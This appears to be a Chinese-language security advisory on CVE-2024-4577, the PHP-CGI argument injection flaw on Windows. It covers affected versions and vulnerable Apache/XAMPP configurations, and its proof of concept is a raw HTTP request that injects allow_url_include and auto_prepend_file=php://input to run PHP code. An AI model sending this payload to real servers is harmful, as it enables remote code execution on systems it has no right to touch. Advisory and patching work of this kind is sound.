0x00 前言
php是Hypertext Preprocessor(超文本預(yù)處理器)的縮寫,源自于“PHP/FI”的工程,在它的起源初期主要用于統(tǒng)計自己網(wǎng)站的訪問者,后來用c語言進(jìn)行了重新編寫,擁有了自己的訪問文件和數(shù)據(jù)庫功能.在1995年發(fā)布了PHP 1.0第一個版本。
PHP是一種廣泛使用的開源的腳本語言,它特別適合Web開發(fā)和嵌入html中,這種語言使用起來簡單。
CGI、以CGI的方式運(yùn)行,CGI英文叫做公共網(wǎng)關(guān)接口,就是apache在遇到php腳本的時候會將PHP程序提交給CGI應(yīng)用程序(php-cgi.exe)解釋,解釋之后的結(jié)果返回給Apache,然后再返回給相應(yīng)的請求用戶。
0x01 漏洞描述
立即學(xué)習(xí)“PHP免費(fèi)學(xué)習(xí)筆記(深入)”;
0x02 CVE編號
CVE-2024-4577
0x03 影響版本
PHP 8.3
PHP 8.2
PHP 8.1
針對其他版本,PHP官方已不在維護(hù),建議根據(jù)實(shí)際情況進(jìn)行緩解措施。
情境一:
將PHP設(shè)定于CGI模式下執(zhí)行
在Apache httpd設(shè)定檔中透過Action語法將對應(yīng)的HTTP請求交給PHP-CGI執(zhí)行檔處理時,受此弱點(diǎn)影響,常見設(shè)定包含但不限于:
代碼語言:JavaScript代碼運(yùn)行次數(shù):0運(yùn)行復(fù)制
AddHandler cgi-script .phpAction cgi-script“/cgi-bin/php-cgi.exe”
或
代碼語言:javascript代碼運(yùn)行次數(shù):0運(yùn)行復(fù)制
<filesmatch>SetHandler application/x-httpd-php-cgi</filesmatch>Action application/x-httpd-php-cgi“/php-cgi/php-cgi.exe”
情境二:
將PHP執(zhí)行檔暴露在外(XAMPP預(yù)設(shè)安裝設(shè)定)
即使未設(shè)定PHP于CGI模式下執(zhí)行,僅將PHP執(zhí)行檔暴露在CGI目錄下也受此弱點(diǎn)影響,常見情況包含但不限于:
將php.exe或php-cgi.exe復(fù)制到/cgi-bin/目錄中
將PHP安裝目錄透過ScriptAlias暴露到外,如:
代碼語言:javascript代碼運(yùn)行次數(shù):0運(yùn)行復(fù)制
ScriptAlias /php-cgi/“C:/xampp/php/”
0x04 漏洞詳情
POC:
代碼語言:javascript代碼運(yùn)行次數(shù):0運(yùn)行復(fù)制
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1Host: {{host}}User-Agent: curl/8.3.0Accept: */*Content-Length: 23Content-Type: application/x-www-form-urlencodedConnection: keep-alive<?phpphpinfo ();?>

執(zhí)行命令:

(來源于網(wǎng)絡(luò))
0x05 參考鏈接
https://devco.re/blog/2024/06/06/security-alert-cve-2024-4577-php-cgi-argument-injection-vulnerability/
本公眾號的文章及工具僅提供學(xué)習(xí)參考,由于傳播、利用此文檔提供的信息而造成任何直接或間接的后果及損害,均由使用者本人負(fù)責(zé),本公眾號及文章作者不為此承擔(dān)任何責(zé)任。